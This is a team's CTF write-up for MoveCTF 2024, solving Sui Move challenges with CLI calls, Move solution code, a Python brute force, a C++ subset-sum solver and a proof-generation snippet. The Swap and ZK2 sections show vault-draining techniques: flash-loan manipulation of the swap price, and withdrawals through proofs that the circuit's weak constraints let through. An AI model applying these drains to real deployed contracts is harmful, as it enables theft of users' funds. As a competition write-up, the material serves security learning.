MoveCTF 2024 Writeup
MoveCTF 2024 was an online security competition organized by MoveBit in partnership with ChainFlag, MoveFuns, and OpenBuild. Exclusively sponsored by the Sui Foundation, the event garnered widespread attention within the Move Ecosystem, attracting a remarkable total of 527 teams across the globe to participate. We are proud to share that Amber Labs have secured 6th place in this competitive field of Move developers and security enthusiasts.
In this blog post, we will reflect on our experience and detail our approach to solving each unique challenge presented throughout the competition. By sharing our solutions and lessons learned, we hope to equip others in the Move ecosystem and the wider security community with practical insights.
Challenges
- Checkin
- Easygame
- Swap
- Kitchen
- Dynamic Matrix Traversal
- ZK1
- ZK2
- Subset
- OttherHub
For more information about the challenges, please refer to the following links:
Checkin
This checkin challenge can be solved by simply making a `get_flag()` function call via sui-cli as follows:
sui client call --package <packageId> --module checkin --function get_flag --gas-budget 10000000 --args MoveBitCTFEasyGame
The `initial_part` in Challenge object is initialized to [1, 2, 4, 5, 1, 3, 6, 7].
In `submit_solution()`, we have to append some elements to the `initial_part` and finally let the `amount_robbed` equal to the `target_amount` in `Challenge` object.
public fun submit_solution(user_input: vector<u64>,rc: &mut Challenge,ctx: &mut TxContext ){
let sender = sui::tx_context::sender(ctx);
let houses = rc.initial_part;
vector::append(&mut houses, user_input);
let amount_robbed = rob(&houses);
let result = amount_robbed == rc.target_amount;
if (result) {
event::emit(Flag { user: sender, flag: true });
};
}In the `rob()` function code snippet:
public fun rob(houses: &vector<u64>):u64{
let n = vector::length(houses);
if (n ==0){
0;
};
let v = vector::empty<u64>();
vector::push_back(&mut v, *vector::borrow(houses, 0));
if (n>1){
vector::push_back(&mut v, math::max(*vector::borrow(houses, 0), *vector::borrow(houses, 1)));
};
let i = 2;
while (i < n) {
let dp_i_1 = *vector::borrow(&v, i - 1);
let dp_i_2_plus_house = *vector::borrow(&v, i - 2) + *vector::borrow(houses, i);
vector::push_back(&mut v, math::max(dp_i_1, dp_i_2_plus_house));
i = i + 1;
}
;
*vector::borrow(&v, n - 1)
}Given the `houses` vector as `[1, 2, 4, 5, 1, 3, 6, 7, user_input]` and the `v` vector as `[1, 2, 5, 7, 7, 10, 13, 17, 22]`, we can infer that when `user_input` is 9, the condition can be met.
Solution
sui client call --package <packageId> --module easy_game --function submit_solution --args [9] <ChallengeObjectId> --gas-budget 300000000Swap
The challenge is a dex contract that deals with token swapping and exchange. The user is provided with 10 coins each of tokenA and tokenB. The Vault has a balance of 100 tokens each.
To get the flag, we have to drain the Vault of its tokens completely:
public fun get_flag<A,B>(vault: &Vault<A,B>, ctx: &TxContext) {
assert!(
balance::value(&vault.coin_a) == 0 && balance::value(&vault.coin_b) == 0, 123
);
event::emit(
Flag {
win: true,
sender: tx_context::sender(ctx)
}
);
}public fun swap_a_to_b<A,B>(vault: &mut Vault<A,B>, coina:Coin<A>, ctx: &mut TxContext): Coin<B> {
let amount_out_B = coin::value(&coina) * balance::value(&vault.coin_b) / balance::value(&vault.coin_a);
coin::put<A>(&mut vault.coin_a, coina);
coin::take(&mut vault.coin_b, amount_out_B, ctx)
}The `swap_a_to_b()` and `swap_b_to_a()` seem weird. It just uses the token balance in the vault to determine how many tokens can be swapped out. Therefore, by using the flash loan, we can manipulate the token balance in the vault.
Solution
public fun go<CTFA,CTFB>(vault: &mut Vault<CTFA,CTFB>, coina:Coin<CTFA>, ctx: &mut TxContext) {
// 1. flash loan 90 tokenA
let (coin_a, coin_b, receipt) = vault::flash(vault, 90, false, ctx);
// 2. 10 tokenA swap to 100 tokenB (10 * 100 / 10 = 100)
let coin_b_out = swap_a_to_b(vault, coina, ctx);
// 3. repay 90 tokenA
vault::repay_flash(vault, coin_a, coin_b, receipt);
// 4. flash loan 110 tokenA
let (coin_a, coin_b, receipt) = vault::flash(vault, 110, false, ctx);
// 5. get flag
vault::get_flag(vault, ctx);
// 6. repay 110 tokenA
vault::repay_flash(vault, coin_a, coin_b, receipt);
transfer::public_transfer(coin_b_out, tx_context::sender(ctx));
}Kitchen
The challenge is related to BCS serialization. To get the flag, we have to make the `status1` and `status2` become `true`.
Cook
assert!( bcs::to_bytes(&p) == x"0415a5b8a6f8c946bb0300bd9d997eb7038ad784faf2b802c5f122e1", 0);To deserialize the data, we can slice the above data in the following format:
04 // length
15a5
b8a6
f8c9
46bb
03 // length
00bd
9d99
7eb7
03 // length
8ad7
84fa
f2b8
02 // length
c5f1
22e1Notice that all numbers are stored in little-endian format. For example, the 16-bit unsigned integer hexadecimal representation [0xa515] is stored as `15 a5`.
Recook
We just serialized the data manually:
let p = Pizza {
olive_oils: Cook<Olive_oil> {
//[0x6, 0xd9, 0xb9, 0x54, 0xeb, 0x68, 0x92, 0xf7, 0xc5, 0xec, 0xa1, 0x84, 0xd0]
source: vector<Olive_oil>[
get_Olive_oil(0xb9d9),
get_Olive_oil(0xeb54),
get_Olive_oil(0x9268),
get_Olive_oil(0xc5f7),
get_Olive_oil(0xa1ec),
get_Olive_oil(0xd084),
]
},
yeast: Cook<Yeast> {
// [0x4, 0x00, 0xbd, 0x81, 0xfc, 0x9d, 0x99, 0x7e, 0xb7]
source: vector<Yeast>[
get_Yeast(0xbd00),
get_Yeast(0xfc81),
get_Yeast(0x999d),
get_Yeast(0xb77e),
]
},
flour: Cook<Flour> {
//[0x5, 0xc7, 0xdc, 0x7a, 0xcc, 0x19, 0x8f, 0xb1, 0x96, 0x6d, 0x8a]
source: vector<Flour>[
get_Flour(0xdcc7),
get_Flour(0xcc7a),
get_Flour(0x8f19),
get_Flour(0x96b1),
get_Flour(0x8a6d),
]
},
salt: Cook<Salt> {
//[0x3, 0x01, 0x8b, 0xc5, 0xf1, 0xec, 0xc6]
source: vector<Salt>[
get_Salt(0x8b01),
get_Salt(0xf1c5),
get_Salt(0xc6ec),
]
},
};Solution
public fun go(ctx: &mut TxContext) {
let status = kitchen::get_status(ctx);
let oil = vector<Olive_oil>[
get_Olive_oil(0xa515),
get_Olive_oil(0xa6b8),
get_Olive_oil(0xc9f8),
get_Olive_oil(0xbb46),
];
let yeast = vector<Yeast>[
get_Yeast(0xbd00),
get_Yeast(0x999d),
get_Yeast(0xb77e),
];
let flour = vector<Flour>[
get_Flour(0xd78a),
get_Flour(0xfa84),
get_Flour(0xb8f2),
];
let salt = vector<Salt>[
get_Salt(0xf1c5),
get_Salt(0xe122),
];
kitchen::cook(oli, yeast, flour, salt, &mut status);
let out = vector<u8>[0x6, 0xd9, 0xb9, 0x54, 0xeb, 0x68, 0x92, 0xf7, 0xc5, 0xec, 0xa1, 0x84, 0xd0, 0x4, 0x00, 0xbd, 0x81, 0xfc, 0x9d, 0x99, 0x7e, 0xb7, 0x5, 0xc7, 0xdc, 0x7a, 0xcc, 0x19, 0x8f, 0xb1, 0x96, 0x6d, 0x8a, 0x3, 0x01, 0x8b, 0xc5, 0xf1, 0xec, 0xc6];
kitchen::recook(out, &mut status);
kitchen::get_flag(&mut status, ctx);
}Dynamic Matrix Traversal
Description
The contract provided a function `get_flag` which emitted an event with the flag when certain conditions were met. The conditions were related to four variables: `count_1`, `count_2`, `count_3`, and `count_4` of a `Record` object.
public entry fun get_flag(record: &Record, ctx: &mut TxContext) {
assert!(record.count_1 < record.count_3, ERROR_PARAM_1);
assert!(record.count_2 > record.count_4, ERROR_PARAM_2);
event::emit(Flag { user: tx_context::sender(ctx), flag: true });
}Analysis
The `execute` function allowed us to set the `count_1` to `count_4` fields by providing `m` and `n` parameters. These parameters were used in the `up` function, which performed an element lookup in a 2-dimensional matrix. The results of `up(m, n)` had to equal `TARGET_VALUE_1` (2794155) and `TARGET_VALUE_2` (14365) to set the `count_1` to `count_4` fields.
public entry fun execute(record: &mut Record, m: u64, n: u64) {
if (record.count_1 == 0) {
let result: u64 = up(m, n);
assert!(result == TARGET_VALUE_1, ERROR_RESULT_1);
record.count_1 = m;
record.count_2 = n;
} else if (record.count_3 == 0) {
let result: u64 = up(m, n);
assert!(result == TARGET_VALUE_2, ERROR_RESULT_2);
record.count_3 = m;
record.count_4 = n;
}
}Solution
To solve this challenge, we first translated the `up` function into Python. Then, we can brute-forced the `m` and `n` parameters for the `up` function to get the results equal to `TARGET_VALUE_1` and `TARGET_VALUE_2` because the size of the matrix was limited to 0x2000 x 0x2000 due to the maximum length limitation of the SUI vector. We found multiple pairs of `m` and `n` that satisfied the conditions.
def up(m, n):
f = []
i = 0
while i < m:
row = []
j = 0
while j < n:
if j == 0 or i == 0:
row.append(1)
else:
f1 = f[i - 1]
j1 = row[j - 1]
val = f1[j] + j1
row.append(val)
j = j + 1
f.append(row)
i = i + 1
fr = f[m - 1]
result = fr[n - 1]
return result
result = 14365
for i in range(1, 0x2000):
for j in range(1, 0x2000):
if up(i, j) == result:
print(i, j)
breakFinally, we called the `execute` function with the appropriate `m` and `n` pairs to set the `count_1` to `count_4` fields in the `Record` object. This allowed us to meet the conditions in the `get_flag` function and successfully emit the flag event.
zk1
Description
The challenge required participants to interact with an offchain circom circuit and onchain contract. The task was to find an input pair `a` and `b` that when multiplied equals `58567186824402957966382507182680956225095467533943200425018625513920465170743`. After finding this pair, participants had to generate a proof offchain and then validate it in the onchain contract.
Analysis
The circuit constraint was given as:
c <== a * b;
c === 58567186824402957966382507182680956225095467533943200425018625513920465170743;The onchain contract had a `verify_proof` function that accepted public inputs and proof points, and then used them to verify the Groth16 proof. If the validation was successful, a `Flag` event would be emitted.
public entry fun verify_proof(public_inputs_bytes: vector<u8>, proof_points_bytes: vector<u8>, ctx: &mut tx_context::TxContext) {
let vk = x"806…" // verifying key omitted
let pvk = groth16::prepare_verifying_key(&groth16::bn254(), &vk);
let public_inputs = groth16::public_proof_inputs_from_bytes(public_inputs_bytes);
let proof_points = groth16::proof_points_from_bytes(proof_points_bytes);
assert!(groth16::verify_groth16_proof(&groth16::bn254(), &pvk, &public_inputs, &proof_points), 0);
event::emit(Flag { user: tx_context::sender(ctx) });
}Solution
We found the factors of `c` on http://factordb.com/index.php?id=1100000005718299686. The factors `a` and `b` were `223960747878782291107008135733958922391` and `261506479948451388126301943086863538273` respectively.
To generate the proof offchain, we modified the groth16 test case in circom-compat. We passed the values of `a` and `b` as inputs and then generated the Groth16 proof.
fn groth16_proof() -> Result<()> {
…
let a = BigInt::parse_bytes(b"223960747878782291107008135733958922391", 10).unwrap();
let b = BigInt::parse_bytes(b"261506479948451388126301943086863538273", 10).unwrap();
builder.push_input("a", a);
builder.push_input("b", b);
…
let proof = GrothBn::prove(¶ms, circom, &mut rng)?;
let verified = GrothBn::verify_with_processed_vk(&pvk, &inputs, &proof)?;
assert!(verified);
let mut proof_inputs_bytes = Vec::new();
inputs[0].serialize_uncompressed(&mut proof_inputs_bytes).unwrap();
println!("input: {:?}", proof_inputs_bytes);
let mut proof_points_bytes = Vec::new();
proof.serialize_compressed(&mut proof_points_bytes).unwrap();
println!("proof points: {:?}", proof_points_bytes);
Ok(())
}Finally, we fed the input and proof points to the onchain contract. The contract successfully verified the proof and emitted the flag event.
zk2
Description
In this challenge, participants were given an offchain circom circuit and onchain contract. The onchain contract required the vault to be drained in order to get the flag. To take tokens out of the vault, participants had to generate valid proofs.
public entry fun get_flag(protocol: &mut Protocol, ctx: &mut tx_context::TxContext) {
assert!(coin::value<ZK2>(&protocol.vault) == 0, 0);
event::emit(Flag { user: tx_context::sender(ctx) });
}public entry fun withdraw(amount: u64, public_inputs_bytes: vector<u8>, proof_points_bytes: vector<u8>, protocol: &mut Protocol, ctx: &mut tx_context::TxContext) {
verify_proof(public_inputs_bytes, proof_points_bytes);
assert!(*table::borrow(&protocol.balance, tx_context::sender(ctx)) >= amount, 0);
table::add(&mut protocol.proof_talbe, keccak256(&proof_points_bytes), true);
let coin = coin::split(&mut protocol.vault, amount, ctx);
transfer::public_transfer(coin, tx_context::sender(ctx));
}Analysis
The offchain circuit used in this challenge was the Baby Jubjub Elliptic Curve(https://eips.ethereum.org/EIPS/eip-2494) circuit. Points on the curve would satisfy the constraints. The point (0,1) was on the curve, but the circuit filtered out this point. There was another restriction that the points should be no more than 252 bits.
The circuit constraint was given as:
template ZK2() {
signal input x;
signal input delta;
signal output y;
signal x_square;
signal delta_square;
component gt = GreaterThan(252);
gt.in[0] <== 1;
gt.in[1] <== x;
gt.out === 0;
x_square <== x * x;
delta_square <== delta * delta;
168700*x_square + delta_square === 1 + 168696 * x_square * delta_square;
y <== delta;
}Solution
We used the generator points (Gx, Gy) which satisfied the circuit constraint. The values of Gx and Gy were `995203441582195749578291179787384436505546430278305826713579947235728471134` and `5472060717959818805561601436314318772137091100104008585924551046643952123905` respectively.
Using a similar code as in the previous challenge, we generated the proofs.
The vault had a balance of 100,000 tokens, and only 60,000 tokens could be withdrawn each time. Therefore, the faucet and withdraw functions had to be called twice to drain the vault completely.
By calling the `withdraw` function twice with two different proofs, we drained the vault and the flag event was emitted, indicating that the challenge was solved.
Subset
Subset1 and subset2 are trivial.
For subset3, ignoring the size of numbers, this is a classic dynamic programming problem with a time complexity of $O(n*s*k)$, where $n$ is the number of digits, $s$ is the sum of the selected numbers, and $k$ is the number of selected numbers.
However, in this case, the range of $s$ is too large, so we cannot obtain the result effectively in a short time.
It can be observed that the generation of numbers seems random, so a property can be identified: suppose we can find a legitimate combination to make up the target $sum = 9639405868465735216305592265916$. If we remove all parts of the numbers that exceed the 7th digit, we can certainly make up the part of sum with all parts of the numbers that exceed the 7th digit removed.
The total number of combinations that can be selected is $C(80, 10)$, which is approximately $1.6 * 10^{12}$. The range of modified values is only $10⁷$. Therefore, for the target sum, we get a total of approximately $1.6 * 10⁵$ potential solutions by running dynamic programming algorithm. At this point, we can use backtracing to verify these potential solutions to find the correct combination.
#include <iostream>
#include <vector>
using namespace std;
const int MASK = 1e7;
const long long BIG_MASK = 1e16;
const long long SUM = 5216305592265916;
void findSubsets(vector<long long>& set, int sum, int count, vector<long long>& subset, int n, vector<vector<vector<bool>>>& dp) {
if (sum == 0 && count == 0) {
long long bigSum = 0;
for (int i = 0; i < subset.size(); i++) {
bigSum = (bigSum + subset[i]) % BIG_MASK;
}
if (bigSum == SUM) {
for (int i = 0; i < subset.size(); i++) {
cout << subset[i] << " ";
}
cout << endl;
}
return;
}
if (n == 0) return;
int prevSum = ((sum - set[n - 1]) % MASK + MASK) % MASK;
if (count > 0 && dp[n - 1][prevSum][count - 1]) {
subset.push_back(set[n - 1]);
findSubsets(set, prevSum, count - 1, subset, n - 1, dp);
subset.pop_back();
}
if (dp[n - 1][sum][count]) {
findSubsets(set, sum, count, subset, n - 1, dp);
}
}
int main() {
vector<long long> set = {9878802706287425, 870358722868390, 2741205069880873, 9681117675478653, 3524938769447793, 521216588473346, 4652353003934418, 8442223858924307, 9224403070119631, 1667697388282513, 5309936719501477, 1959586392455121, 9468418120106125, 7414384275360152, 7776444211943134, 8376967530103489, 2586908433214193, 2586605766399361, 723919247238072, 8858831225830703, 485227577881300, 6233584633761922, 7410197321230180, 9879465486127051, 6539801525899580, 7372223215677265, 5788941098273736, 9103168835446476, 4241752870865835, 7173434925395865, 470135469081647, 487375387404086, 4955981808193550, 4134145795909695, 4504671667297293, 3832104987821225, 9260220219397362, 4419043148976517, 2162465230697586, 8606439365136720, 810465822909560, 305811682891430, 2882998661101012, 7058780528699819, 5861838133952519, 1625649028920079, 3528708773247739, 8411593301577206, 8850034718734435, 6548286155351544, 6226154541562801, 2247367663980146, 5248790906682414, 4639089937932044, 2267541395815418, 4916296521382931, 1616458012031543, 6653014740242503, 7804911661688602, 6882548343051358, 6959936900839504, 7088078820581073, 7284611596729403, 134787133219999, 7429536515955111, 3369555890340882, 3816004189096610, 4941009786692773, 44704009977063, 418035057534747, 4719224289951413, 3101738427519029, 2350252978011382, 7503915531123371, 7126465021125310, 8646801945637827, 2874760566309613, 807774047076043, 2931565053344747, 2194695344517944};
int n = set.size();
int count = 10;
vector<vector<vector<bool>>> dp(n + 1, vector<vector<bool>>(MASK + 1, vector<bool>(count + 1, false)));
for(int i = 0; i <= n; ++i) dp[i][0][0] = true;
for(int i = 0; i < n; ++i) {
for (int j = 0; j <= MASK; j++) {
for (int c = 0; c <= count; c++) {
if (dp[i][j][c] == false) continue;
dp[i + 1][j][c] = true;
int newSum = (j + set[i]) % MASK;
dp[i + 1][newSum][c + 1] = true;
}
}
}
if (dp[n][SUM % MASK][count]) {
cout << "Found" << endl;
vector<long long> subset;
findSubsets(set, SUM % MASK, count, subset, n, dp);
}
else cout << "No subsets\n";
return 0;
}Solution
public fun go(ctx: &mut TxContext) {
let status = subset_sum::get_status(ctx);
let sub1 = vector<u256>[0,1,1,0,1];
subset_sum::solve_subset1(sub1, &mut status);
let sub2 = vector<u256>[0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0];
subset_sum::solve_subset2(sub2, &mut status);
let sub3 = vector<u256>[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0];
subset_sum::solve_subset3(sub3, &mut status);
subset_sum::get_flag(&status, ctx);
}OtterHub
Description
This problem was about implementing a github on the Sui blockchain testnet. Users can create a repository, push commits on a repository, and check out a specific commit of a repository. Within those repositories and commits, we need to find the flag.
Analysis
After some preliminary analysis, the Matryoshka repo deployed on this object is the most suspicious one as all commits of this repo are in Move bytecode format.
The Matryoshka repo has three commits. The second one looks like an encoder after we translate it into Move:
module otterhub::encryptor {
use std::vector;
public fun store_baby() {
let loc8: u64 = 1;
let loc9 = vector::empty<u8>();
let loc0 = CONST;
while (loc8 < vector::length(&loc0)) {
let loc3= &mut loc9;
let loc1 = CONST;
let loc2 = CONST;
vector::push_back(loc3, (*vector::borrow(&loc1, loc8))^(*vector::borrow(&loc2, (loc8–1))));
loc8 = loc8 + 1; // goto 4
};
let loc7 = &mut loc9;
let loc5: vector<u8> = CONST;
let loc6 = &loc5;
let loc4 = CONST;
vector::push_back(loc7, *vector::borrow(loc6, vector::length(&loc4) - 1));
}
}Based on that, we believe the flag would be generated by XOR each element with the previous element of a given vector. But, where’s that vector?
So, we checked the other two commits and found that both of them have two 85-bytes vectors starting at offset 0x61 and offset 0xb1 respectively. And, the second vector looks like a meaningful string which is divided into two pieces, one in the first commit, one in the third commit.
Specifically, if we ignore all ‘X’ in the above byte arrays, the first piece would be a 43-bytes hex string:
0a0d061c367d46456c1d3b0d47505354576c2846065f595f31127d46456c1d3b4e04505354576c2846451cThe second piece would be a 42-bytes hex string:
595f310d274002681d3b0d47505354576c2846065f595f31120c020b01070b1a1d3b0d47505354574e7dThose two pieces can be merged into a complete 85-byte vector, which is likely the one we’re looking for.
Solution
Actually, we didn’t have the luck to solve this challenge after doing the XOR operations on the above-mentioned vector but we were pretty close to the answer. By reading LeoQ7’s writeup afterwards, we know that we need to add a leading ‘f’ on that vector.
a = bytearray.fromhex('0a0d061c367d46456c1d3b0d47505354576c2846065f595f31127d46456c1d3b4e04505354576c2846451c')
b = bytearray.fromhex('595f310d274002681d3b0d47505354576c2846065f595f31120c020b01070b1a1d3b0d47505354574e7d')
c = bytearray(b'f' + b'x'*(len(a)+len(b)))
for i in range(len(a)):
c[i+1] = c[i] ^ a[i]
for i in range(len(a), len(a)+len(b)):
c[i+1] = c[i] ^ b[i-len(a)]
print (c)